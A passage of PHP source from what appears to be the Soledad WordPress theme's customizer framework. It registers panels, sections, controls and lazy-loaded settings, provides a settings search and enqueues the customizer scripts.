				$sanitize = array( $sanitize_class, 'by_pass' );
				break;
			default:
				$sanitize = array( $sanitize_class, 'sanitize_input' );
				break;
		}

		return $sanitize;
	}

	/**
	 * Prepare single control
	 *
	 * @param array $field Unfiltered control.
	 * @param boolean $dynamic flag for dynamic control.
	 *
	 * @return array
	 */
	public function compose_control( $field, $dynamic ) {
		$control               = array();
		$active_callback_class = Active_Callback::get_instance();

		$control['id']            = $field['id'];
		$control['type']          = $field['type'];
		$control['label']         = isset( $field['label'] ) ? $field['label'] : '';
		$control['section']       = isset( $field['section'] ) ? $field['section'] : '';
		$control['description']   = isset( $field['description'] ) ? $field['description'] : '';
		$control['multiple']      = isset( $field['multiple'] ) ? $field['multiple'] : 0;
		$control['default']       = isset( $field['default'] ) ? $field['default'] : 0;
		$control['choices']       = isset( $field['choices'] ) ? $field['choices'] : array();
		$control['fields']        = isset( $field['fields'] ) ? $field['fields'] : array();
		$control['row_label']     = isset( $field['row_label'] ) ? $field['row_label'] : esc_html__( 'Row', 'soledad' );
		$control['wrapper_class'] = isset( $field['wrapper_class'] ) ? $field['wrapper_class'] : array();
		$control['ajax_action']   = isset( $field['ajax_action'] ) ? $field['ajax_action'] : '';
		$control['data_type']     = isset( $field['data_type'] ) ? $field['data_type'] : '';
		$control['nonce']         = isset( $field['nonce'] ) ? $field['nonce'] : '';
		$control['callback']      = isset( $field['callback'] ) ? $field['callback'] : '';
		$control['input_attrs']   = isset( $field['input_attrs'] ) ? $field['input_attrs'] : '';
		$control['code_type']     = isset( $field['code_type'] ) ? $field['code_type'] : '';

		// additional control option.
		$control['partial_refresh'] = isset( $field['partial_refresh'] ) ? $field['partial_refresh'] : null;
		$control['active_rule']     = isset( $field['active_callback'] ) ? $field['active_callback'] : null;
		$control['output']          = isset( $field['output'] ) ? $field['output'] : null;
		$control['postvar']         = isset( $field['postvar'] ) ? $field['postvar'] : [];
		$control['dynamic']         = isset( $field['dynamic'] ) ? $field['dynamic'] : false;
		$control['settings']        = isset( $field['settings'] ) ? $field['settings'] : '';
		$control['ids']             = isset( $field['ids'] ) ? $field['ids'] : '';

		// only load active callback on normal field.
		if ( ! $dynamic ) {
			$control['active_callback'] = isset( $field['active_callback'] ) ? function () use ( $field, $active_callback_class ) {
				return $active_callback_class->evaluate( $field['active_callback'] );
			} : '__return_true';
		}

		return $control;
	}

	/**
	 * Prepare partial refresh
	 *
	 * @param array $field Partial refresh field.
	 *
	 * @return array
	 */
	public function setup_partial_refresh( $field ) {
		if ( ! isset( $field['partial_refresh'] ) ) {
			$field['partial_refresh'] = array();
		}

		foreach ( $field['partial_refresh'] as $id => $args ) {
			if ( ! is_array( $args ) || ! isset( $args['selector'] ) || ! isset( $args['render_callback'] ) || ! is_callable( $args['render_callback'] ) ) {
				unset( $this->partial_refresh[ $id ] );
				continue;
			}
		}

		return $field['partial_refresh'];
	}

	/**
	 * Add Setting to wp customize instance base on what kind of class instance used
	 *
	 * @param array $setting Array of setting.
	 * @param string $setting_id Name of setting ID.
	 *
	 * @return \WP_Customize_Setting
	 */
	public function do_add_setting( $setting, $setting_id = null ) {
		$wp_customize = $this->wp_customize();

		if ( null === $setting_id ) {
			$setting_id = $setting['id'];
		}

		$setting_class    = $this->get_setting_class( $setting['control_type'] );
		$setting_instance = new $setting_class( $wp_customize, $setting_id, $setting );
		$wp_customize->add_setting( $setting_instance );

		return $setting_instance;
	}

	/**
	 * Get setting class
	 *
	 * @param string $type Type of class for setting option.
	 *
	 * @return string
	 */
	public function get_setting_class( $type ) {
		switch ( $type ) {
			case 'soledad-fw-repeater':
				$setting_class = 'SoledadFW\Customizer\Setting\Repeater_Setting';
				break;
			case 'soledad-fw-spacing':
				$setting_class = 'SoledadFW\Customizer\Setting\Spacing_Setting';
				break;
			default:
				$setting_class = 'SoledadFW\Customizer\Setting\Default_Setting';
				break;
		}

		return $setting_class;
	}

	/**
	 * Add control to wp customize instance
	 *
	 * @param array $field Array of field.
	 * @param \WP_Customize_Setting $setting instance of Setting.
	 *
	 * @return mixed
	 */
	public function do_add_control( $field, $setting = null ) {
		$wp_customize  = $this->wp_customize();
		$control_class = $this->get_control_class( $field['type'] );

		if ( null !== $setting && $setting instanceof \WP_Customize_Setting ) {
			$field['settings'] = $setting->id;
		}

		$control_instance = new $control_class( $wp_customize, $field['id'], $field );
		$wp_customize->add_control( $control_instance );

		return $control_instance;
	}

	/**
	 * Get control class
	 *
	 * @param string $type Type of control field.
	 *
	 * @return mixed
	 * @throws \InvalidArgumentException Throw if type of customizer have issue.
	 */
	public function get_control_class( $type ) {
		$handler = $this->get_all_control_class();

		if ( array_key_exists( $type, $handler ) ) {
			return $handler[ $type ];
		} else {
			throw new \InvalidArgumentException( 'Unrecognized Type. Please update Soledad Theme to latest version.' );
		}
	}

	/**
	 * Get all Control Class
	 *
	 * @return array
	 */
	public function get_all_control_class() {
		$handler = array(
			'soledad-fw-alert'           => 'SoledadFW\Customizer\Control\Alert',
			'soledad-fw-header'          => 'SoledadFW\Customizer\Control\Header',
			'soledad-fw-color'           => 'SoledadFW\Customizer\Control\Color',
			'soledad-fw-toggle'          => 'SoledadFW\Customizer\Control\Toggle',
			'soledad-fw-slider'          => 'SoledadFW\Customizer\Control\Slider',
			'soledad-fw-number'          => 'SoledadFW\Customizer\Control\Number',
			'soledad-fw-select'          => 'SoledadFW\Customizer\Control\Select',
			'soledad-fw-ajax-select'     => 'SoledadFW\Customizer\Control\Ajax_Select',
			'soledad-fw-range-slider'    => 'SoledadFW\Customizer\Control\Range_Slider',
			'soledad-fw-radio-image'     => 'SoledadFW\Customizer\Control\Radio_Image',
			'soledad-fw-radio-buttonset' => 'SoledadFW\Customizer\Control\Radio_Button_Set',
			'soledad-fw-preset'          => 'SoledadFW\Customizer\Control\Preset',
			'soledad-fw-preset-image'    => 'SoledadFW\Customizer\Control\Preset_Image',
			'soledad-fw-text'            => 'SoledadFW\Customizer\Control\Text',
			'soledad-fw-password'        => 'SoledadFW\Customizer\Control\Password',
			'soledad-fw-textarea'        => 'SoledadFW\Customizer\Control\Textarea',
			'soledad-fw-radio'           => 'SoledadFW\Customizer\Control\Radio',
			'soledad-fw-image'           => 'SoledadFW\Customizer\Control\Image',
			'soledad-fw-upload'          => 'SoledadFW\Customizer\Control\Upload',
			'soledad-fw-spacing'         => 'SoledadFW\Customizer\Control\Spacing',
			'soledad-fw-repeater'        => 'SoledadFW\Customizer\Control\Repeater',
			'soledad-fw-typography'      => 'SoledadFW\Customizer\Control\Typography',
			'soledad-fw-gradient'        => 'SoledadFW\Customizer\Control\Gradient',
			'soledad-fw-size'            => 'SoledadFW\Customizer\Control\Size',
			'soledad-fw-box-model'       => 'SoledadFW\Customizer\Control\Box_Model',
			'soledad-fw-button'          => 'SoledadFW\Customizer\Control\Button',
			'soledad-fw-code'            => 'SoledadFW\Customizer\Control\Code',
			'soledad-fw-hidden'          => 'SoledadFW\Customizer\Control\Hidden',
			'soledad-fw-multi-check'     => 'SoledadFW\Customizer\Control\MultiCheck',
		);

		return $handler;
	}

	/**
	 * Return search result
	 *
	 * @param string $search Search keyword.
	 */
	public function get_search_result( $search ) {
		$fields_search = $this->get_all_fields();
		$results       = array();

		foreach ( $fields_search as $key => $field ) {
			$field['title']       = isset( $field['title'] ) ? __( $field['title'], 'soledad' ) : '';
			$field['label']       = isset( $field['label'] ) ? __( $field['label'], 'soledad' ) : '';
			$field['description'] = isset( $field['description'] ) ? __( $field['description'], 'soledad' ) : '';
			$match                = $this->match_search( $search, implode( ' ', array(
				sanitize_title( $field['title'] ),
				sanitize_title( $field['description'] ),
				sanitize_title( $field['label'] ),
			) ) );

			if ( $match > 0 ) {
				$results[ $key ] = array(
					'id'          => $field['id'],
					'label'       => $field['label'],
					'description' => $field['description'],
					'section'     => $field['section'],
					'match'       => $match,
				);
			}
		}

		wp_send_json_success( $results );
	}

	/**
	 * Get both normal & lazy loaded fields
	 *
	 * @param array $extract Callable for excluding field.
	 *
	 * @return array
	 */
	public function get_all_fields( $extract = null ) {
		$extract   = is_callable( $extract ) ? $extract : array( $this, 'extract_fields' );
		$cache_key = $extract[1];

		if ( ! isset( $this->cache_fields[ $cache_key ] ) ) {
			$lazy_fields   = $this->get_lazy_fields();
			$normal_fields = $this->get_fields();
			$fields        = array_merge( $normal_fields, $lazy_fields );
			$results       = array();

			foreach ( $fields as $key => $field ) {
				$result = call_user_func_array( $extract, array( $field, $key ) );
				if ( $result ) {
					$results[ $key ] = $result;
				}
			}

			$this->cache_fields[ $cache_key ] = $results;
		}

		return $this->cache_fields[ $cache_key ];
	}

	/**
	 * Get all registered lazy fields
	 *
	 * @return array
	 */
	public function get_lazy_fields() {
		$fields_search   = [];
		$sections_search = $this->get_registered_lazy_section();

		foreach ( $sections_search as $key => $section ) {
			foreach ( $section as $file ) {
				$options = $this->get_lazy_options( $file );
				if ( is_array( $options ) ) {
					foreach ( $options as $opt ) {
						$id                              = $opt['id'];
						$fields_search[ $id ]            = $opt;
						$fields_search[ $id ]['section'] = $key;
					}
				}
			}
		}

		return $fields_search;
	}

	/**
	 * Only Normal Field
	 *
	 * @return array
	 */
	public function get_fields() {
		return $this->fields;
	}

	/**
	 * Check total search match
	 *
	 * @param string $keywords Search keyword.
	 * @param string $description Search description.
	 *
	 * @return int
	 */
	public function match_search( $keywords, $description ) {
		preg_match_all( '/\w+/i', $keywords, $words );
		$total = 0;

		foreach ( $words[0] as $search ) {
			$found = preg_match_all( "/($search)/i", $description );

			if ( 0 === $found ) {
				return 0;
			} else {
				$total += $found;
			}
		}

		return $total;
	}

	/**
	 * Find lazy setting
	 *
	 * @param array $options Array of lazy option.
	 * @param string $name Name of setting to be searched for.
	 *
	 * @return mixed
	 */
	public function filter_lazy_setting( $options, $name ) {
		foreach ( $options as $key => $option ) {
			if ( $option['id'] === $name ) {
				return $option;
			}
		}

		return null;
	}

	/**
	 * Find partial setting
	 *
	 * @param array $options Array of partial setting option.
	 * @param string $name Name of setting to be searched for.
	 *
	 * @return mixed
	 */
	public function filter_lazy_partial_setting( $options, $name ) {
		foreach ( $options as $key => $option ) {
			if ( isset( $option['partial_refresh'] ) ) {
				$partials = $option['partial_refresh'];
				if ( array_key_exists( $name, $partials ) ) {
					return [
						'setting' => $option['id'],
						'partial' => $partials[ $name ],
					];
				}
			}
		}

		return null;
	}

	/**
	 * Find setting class for option
	 *
	 * @param string $class Class name for setting.
	 * @param \WP_Customize_Setting|string $id Customize Setting object, or ID.
	 *
	 * @return string
	 */
	public function filter_dynamic_setting_class( $class, $id ) {
		if ( preg_match( Default_Setting::$lazy_pattern, $id, $matches ) ) {
			$option = $this->get_lazy_field( $matches['section'], $matches['id'], array(
				$this,
				'filter_lazy_setting',
			) );
			$class  = $this->get_setting_class( $option['type'] );
		}

		return $class;
	}

	/**
	 * Get filtered lazy field
	 *
	 * @param string $section Section of lazy field.
	 * @param string $name name of setting or option.
	 * @param callable $callback filtered callback.
	 *
	 * @return mixed
	 */
	public function get_lazy_field( $section, $name, $callback ) {
		$section = $this->get_lazy_section_files( $section );

		if ( ! empty( $section ) ) {
			foreach ( $section as $file ) {
				$options = $this->get_lazy_options( $file );

				return call_user_func_array( $callback, array( $options, $name ) );
			}
		}

		return null;
	}

	/**
	 * Find setting arguemnt for option
	 *
	 * @param array $setting_args Array of properties for the new WP_Customize_Setting. Default empty array.
	 * @param \WP_Customize_Setting|string $setting_id Customize Setting object, or ID.
	 *
	 * @return mixed
	 */
	public function filter_dynamic_setting_args( $setting_args, $setting_id ) {
		if ( preg_match( Default_Setting::$lazy_pattern, $setting_id, $matches ) ) {
			$option       = $this->get_lazy_field( $matches['section'], $matches['id'], array(
				$this,
				'filter_lazy_setting',
			) );
			$field        = $this->filter_field( $option, true );
			$setting_args = $field['setting'];
		}

		return $setting_args;
	}

	/**
	 * Partial render
	 *
	 * @param string|array|false $rendered The partial value. Default false.
	 * @param \WP_Customize_Partial $partial WP_Customize_Setting instance.
	 * @param array $container_context Optional array of context data associated with
	 *                                                 the target container.
	 *
	 * @return mixed|string
	 */
	public function partial_render( $rendered, \WP_Customize_Partial $partial, $container_context ) {
		if ( preg_match( Lazy_Partial::$pattern, $partial->id, $matches ) ) {
			$option = $this->get_lazy_field( $matches['section'], $matches['id'], array(
				$this,
				'filter_lazy_partial_setting',
			) );

			if ( $option ) {
				ob_start();
				$return_render = call_user_func( $option['partial']['render_callback'], $this, $container_context );
				$ob_render     = ob_get_clean();

				if ( null !== $return_render && '' !== $ob_render ) {
					_doing_it_wrong( __FUNCTION__, esc_html__( 'Partial render must echo the content or return the content string (or array), but not both.', 'soledad' ), '4.5.0' );
				}

				$rendered = null !== $return_render ? $return_render : $ob_render;
			}
		}

		return $rendered;
	}

	/**
	 * Filters a dynamic partial's constructor arguments.
	 *
	 * @param false|array $args The arguments to the WP_Customize_Partial constructor.
	 * @param string $id ID for dynamic partial.
	 *
	 * @return array
	 */
	public function filter_dynamic_partial_args( $args, $id ) {
		if ( preg_match( Lazy_Partial::$pattern, $id, $matches ) ) {
			$option = $this->get_lazy_field( $matches['section'], $matches['id'], array(
				$this,
				'filter_lazy_partial_setting',
			) );
			$args   = array(
				'selector'            => $option['partial']['selector'],
				'settings'            => array( Default_Setting::create_lazy_setting( $matches['section'], $option['setting'] ) ),
				'container_inclusive' => false,
				'fallback_refresh'    => false,
			);
		}

		return $args;
	}

	/**
	 * Filters the class used to construct partials.
	 *
	 * Allow non-statically created partials to be constructed with custom WP_Customize_Partial subclass.
	 *
	 * @param string $class WP_Customize_Partial or a subclass.
	 * @param string $id ID for dynamic partial.
	 *
	 * @return string
	 */
	public function filter_dynamic_partial_class( $class, $id ) {
		if ( preg_match( Lazy_Partial::$pattern, $id, $matches ) ) {
			$class = 'SoledadFW\Customizer\Partial\Lazy_Partial';
		}

		return $class;
	}

	/**
	 * Create register customizer hook specifically for SoledadFW Framework
	 */
	public function register_customizer() {
		do_action( 'soledad_fw_register_customizer_option', $this );
	}

	/**
	 * Load script for preview init
	 */
	public function preview_init() {
		add_action( 'wp_enqueue_scripts', array( $this, 'previewer_script' ) );
	}

	/**
	 * Add panel functionality exposed to public
	 *
	 * @param array $panel Panel option.
	 */
	public function add_panel( $panel ) {
		$this->panels[ $panel['id'] ] = $panel;
	}

	/**
	 * Section functionality exposed to public
	 *
	 * @param array $section Section option.
	 */
	public function add_section( $section ) {
		$section = apply_filters( 'soledad_fw_customizer_add_section', $section );

		$this->sections[ $section['id'] ] = $section;

	}

	/**
	 * Add field functionality exposed to public
	 *
	 * @param array $field Add option.
	 */
	public function add_field( $field ) {
		$field = apply_filters( 'soledad_fw_customizer_add_field', $field );

		$this->fields[ $field['id'] ] = $field;

		if ( isset( $field['partial_refresh'] ) ) {
			$this->partial_refresh[ $field['id'] ] = $field['partial_refresh'];
		}
	}

	/**
	 * Deploy registered panel
	 */
	public function deploy_panels() {
		$wp_customize          = $this->wp_customize();
		$active_callback_class = Active_Callback::get_instance();

		foreach ( $this->panels as $panel ) {
			$panel['type'] = isset( $panel['type'] ) ? $panel['type'] : 'default';

			$panel_class = 'WP_Customize_Panel';

			$wp_customize->add_panel( new $panel_class( $wp_customize, $panel['id'], array(
				'title'           => $panel['title'],
				'description'     => isset( $panel['description'] ) && $panel['description'] ? $panel['description'] : '',
				'priority'        => $panel['priority'],
				'active_callback' => isset( $panel['active_callback'] ) ? function () use ( $panel, $active_callback_class ) {
					return $active_callback_class->evaluate( $panel['active_callback'] );
				} : '__return_true',
			) ) );
		}
	}

	/**
	 * Deploy registered section
	 */
	public function deploy_sections() {
		$wp_customize          = $this->wp_customize();
		$active_callback_class = Active_Callback::get_instance();

		foreach ( $this->sections as $section ) {
			$section['type'] = isset( $section['type'] ) ? $section['type'] : 'default';

			switch ( $section['type'] ) {
				case 'soledad-fw-helper-section':
					$section_class = 'SoledadFW\Customizer\Section\Helper_Section';
					break;
				case 'soledad-fw-lazy-section':
					$section_class = 'SoledadFW\Customizer\Section\Lazy_Section';
					break;
				case 'soledad-fw-link-section':
					$section_class = 'SoledadFW\Customizer\Section\Link_Section';
					break;
				default:
					$section_class = 'SoledadFW\Customizer\Section\Default_Section';
					break;
			}

			$wp_customize->add_section( new $section_class( $wp_customize, $section['id'], array(
				'title'           => $section['title'],
				'description'     => isset( $section['description'] ) ? $section['description'] : '',
				'panel'           => isset( $section['panel'] ) ? $section['panel'] : '',
				'priority'        => $section['priority'],
				'dependency'      => isset( $section['dependency'] ) ? $section['dependency'] : [],
				'url'             => isset( $section['url'] ) ? $section['url'] : home_url( '/' ),
				'label'           => isset( $section['label'] ) ? $section['label'] : '',
				'active_callback' => isset( $section['active_callback'] ) ? function () use ( $section, $active_callback_class ) {
					return $active_callback_class->evaluate( $section['active_callback'] );
				} : '__return_true',
			) ) );
		}
	}

	/**
	 * Deploy all registered field
	 */
	public function deploy_fields() {
		foreach ( $this->fields as $field ) {
			$filtered_field = $this->filter_field( $field );
			$this->do_add_setting( $filtered_field['setting'] );
			$this->do_add_control( $filtered_field['control'] );
		}

		$this->register_partial_refresh();
	}

	/**
	 * Setup_partial_refresh
	 */
	public function register_partial_refresh() {
		$wp_customize = $this->wp_customize();

		if ( ! isset( $wp_customize->selective_refresh ) ) {
			return;
		}

		foreach ( $this->fields as $field_id => $args ) {
			if ( isset( $args['partial_refresh'] ) && ! empty( $args['partial_refresh'] ) ) {
				// Start going through each item in the array of partial refreshes.
				foreach ( $args['partial_refresh'] as $partial_refresh => $partial_refresh_args ) {
					// If we have all we need, create the selective refresh call.
					if ( isset( $partial_refresh_args['render_callback'] ) && isset( $partial_refresh_args['selector'] ) ) {
						$wp_customize->selective_refresh->add_partial( $partial_refresh, array(
							'selector'            => $partial_refresh_args['selector'],
							'settings'            => array( $args['id'] ),
							'render_callback'     => $partial_refresh_args['render_callback'],
							'container_inclusive' => isset( $partial_refresh_args['container_inclusive'] ) ? $partial_refresh_args['container_inclusive'] : false,
							'fallback_refresh'    => false,
						) );
					}
				}
			}
		}
	}

	/**
	 * Register control type
	 */
	public function register_control_types() {
		$wp_customize = $this->wp_customize();
		$handler      = $this->get_all_control_class();

		foreach ( $handler as $handle ) {
			$wp_customize->register_control_type( $handle );
		}
	}

	/**
	 * Register Section Type
	 */
	public function register_section_types() {
		$wp_customize = $this->wp_customize();

		$wp_customize->register_section_type( 'SoledadFW\Customizer\Section\Helper_Section' );
		$wp_customize->register_section_type( 'SoledadFW\Customizer\Section\Lazy_Section' );
		$wp_customize->register_section_type( 'SoledadFW\Customizer\Section\Link_Section' );
		$wp_customize->register_section_type( 'SoledadFW\Customizer\Section\Default_Section' );
	}

	/**
	 * Return Fields without Partial Refresh
	 *
	 * @param array $field Field.
	 *
	 * @return mixed
	 */
	public function extract_fields( $field ) {
		unset( $field['partial_refresh'] );

		return $field;
	}

	/**
	 * Get all registered section
	 *
	 * @return array
	 */
	public function get_sections() {
		return $this->sections;
	}

	/**
	 * Get all registered panel
	 *
	 * @return array
	 */
	public function get_panels() {
		return $this->panels;
	}

	/**
	 * Build search template
	 */
	public function search_template() {
		?>
        <script type="text/html" id="tmpl-search-wrapper">
            <div class='customizer-search-wrapper'>
                <a href='#' class='customizer-search-toggle'>
                    <i class='fa fa-search'></i>
                </a>
                <form class='customizer-form-search'>
                    <input placeholder="<?php _e( 'Type to search theme settings ...','soledad' ); ?>" type='text' name='customizer-form-input'/>
                </form>
            </div>
            <div class='customizer-search-result'>
                <div class='customizer-search-result-wrapper'></div>
                <div class='search-loader hidden'>
                    <div class='loader'></div>
                </div>
            </div>
        </script>

        <script type="text/html" id="tmpl-search-overlay">
            <div class='customizer-search-overlay'></div>
        </script>

        <script type="text/html" id="tmpl-search-control">
            <ul>
                <# for ( key in data ) { #>
                <# var control = data[key]; #>
                <li class='search-li' data-section='{{ control.section }}' data-control='{{ control.id }}'>
                    <span>{{ control.path }}</span>
                    <h3>{{ control.label }}</h3>
                    <em>{{ control.description }}</em>
                </li>
                <# } #>
            </ul>
        </script>
		<?php
	}

	/**
	 * Build widget template
	 */
	public function widget_template() {
		?>
        <script type="text/html" id="tmpl-widget-alert">
            <div class='customize-alert customize-alert-info'>
                <label>
                    <strong class='customize-control-title'>{{ data.title }}</strong>
                    <div class='description customize-control-description'>
                        <ul>
                            <# for ( word in data.words ) { #>
                            <li>{{ data.words[word] }}</li>
                            <# } #>
                        </ul>
                    </div>
                </label>
            </div>
        </script>
		<?php
	}

	public function move_settings( $wp_customize ) {
		// Remove Sections
		$wp_customize->remove_section( 'title_tagline' );
		$wp_customize->remove_section( 'nav' );
		$wp_customize->remove_section( 'static_front_page' );
		$wp_customize->remove_section( 'colors' );
		$wp_customize->remove_section( 'background_image' );
		$wp_customize->remove_section( 'custom_css' );
	}

	public function pencidesign_customizer_devices_preview_width() {
		/* We add a filter to help you can modify it by use a hook */
		$sizes = apply_filters( 'pencidesign_customize_preview_width', array(
			'tablet'        => 780,
			'mobile'        => 414,
			'mobile_height' => 736,
		) );
		?>
        <style>
            .wp-customizer .preview-tablet .wp-full-overlay-main {
                width: <?php echo absint( $sizes['tablet'] ); ?>px;
                margin-left: 0;
                margin-right: 0;
                left: 50%;
                -webkit-transform: translateX(-50%);
                transform: translateX(-50%);
            }
            .wp-customizer .preview-mobile .wp-full-overlay-main {
                width: <?php echo absint( $sizes['mobile'] ); ?>px;
                height: <?php echo absint( $sizes['mobile_height'] ); ?>px;
                margin-left: 0;
                margin-right: 0;
                left: 50%;
                -webkit-transform: translateX(-50%);
                transform: translateX(-50%);
            }
            .rtl.wp-customizer .preview-tablet .wp-full-overlay-main,
            .rtl.wp-customizer .preview-mobile .wp-full-overlay-main {
                -webkit-transform: translateX(50%);
                transform: translateX(50%);
            }
        </style>
		<?php
	}

	/**
	 * Register scripts for SoledadFW Customizer.
	 */
	public function register_scripts() {
		$wp_scripts = wp_scripts();

		$handle    = 'soledad-fw-extend-widget';
		$src       = PENCI_URL . '/assets/js/customizer/widget-extend.js';
		$deps      = array( 'jquery', 'customize-widgets' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'selectize';
		$src       = PENCI_URL . '/assets/js/vendor/selectize.js';
		$deps      = array( 'jquery' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'serialize-js';
		$src       = PENCI_URL . '/assets/js/vendor/serialize.js';
		$deps      = array();
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'wp-color-picker-alpha';
		$src       = PENCI_URL . '/assets/js/vendor/wp-color-picker-alpha.js';
		$deps      = array( 'wp-color-picker' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$wp_scripts->localize(
			'wp-color-picker-alpha',
			'wpColorPickerL10n',
			array(
				'clear'            => esc_html__( 'Clear', 'soledad' ),
				'clearAriaLabel'   => esc_html__( 'Clear color', 'soledad' ),
				'defaultString'    => esc_html__( 'Default', 'soledad' ),
				'defaultAriaLabel' => esc_html__( 'Select default color', 'soledad' ),
				'pick'             => esc_html__( 'Select color', 'soledad' ),
				'defaultLabel'     => esc_html__( 'Color value', 'soledad' ),
			)
		);

		$handle    = 'codemirror';
		$src       = PENCI_URL . '/assets/js/vendor/codemirror/lib/codemirror.js';
		$deps      = array( 'jquery', 'jquery-ui-core', 'jquery-ui-button' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-validate-css';
		$src       = PENCI_URL . '/assets/js/customizer/validate-css-value.js';
		$deps      = array( 'jquery' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-active-callback';
		$src       = PENCI_URL . '/assets/js/customizer/active-callback.js';
		$deps      = array( 'underscore' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-search-customizer';
		$src       = PENCI_URL . '/assets/js/customizer/search-control.js';
		$deps      = array( 'jquery', 'underscore' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-customizer-late-init';
		$src       = PENCI_URL . '/assets/js/customizer/late-init-customizer.js';
		$deps      = array( 'jquery' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'ion-range-slider';
		$src       = PENCI_URL . '/assets/js/vendor/ion.rangeSlider.min.js';
		$deps      = array( 'jquery' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-set-setting-value';
		$src       = PENCI_URL . '/assets/js/customizer/set-setting-value.js';
		$deps      = array( 'jquery' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		// ... Control
		$handle    = 'soledad-fw-default-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-default.js';
		$deps      = array( 'customize-controls', 'underscore' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-alert-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-alert.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-header-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-header.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-color-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-color.js';
		$deps      = array(
			'jquery',
			'customize-controls',
			'wp-color-picker-alpha',
			'soledad-fw-default-control',
		);
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-toggle-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-toggle.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-slider-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-slider.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-number-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-number.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control', 'jquery-ui-spinner' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-select-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-select.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control', 'selectize' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-ajax-select-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-ajax-select.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control', 'selectize' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-range-slider-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-range-slider.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control', 'ion-range-slider' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-radio-image-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-radio-image.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-radio-buttonset-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-radio-buttonset.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-preset-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-preset.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control', 'soledad-fw-set-setting-value' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-preset-image-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-preset-image.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control', 'selectize' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-text-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-text.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-password-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-text.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-textarea-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-textarea.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-radio-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-radio.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-image-control';
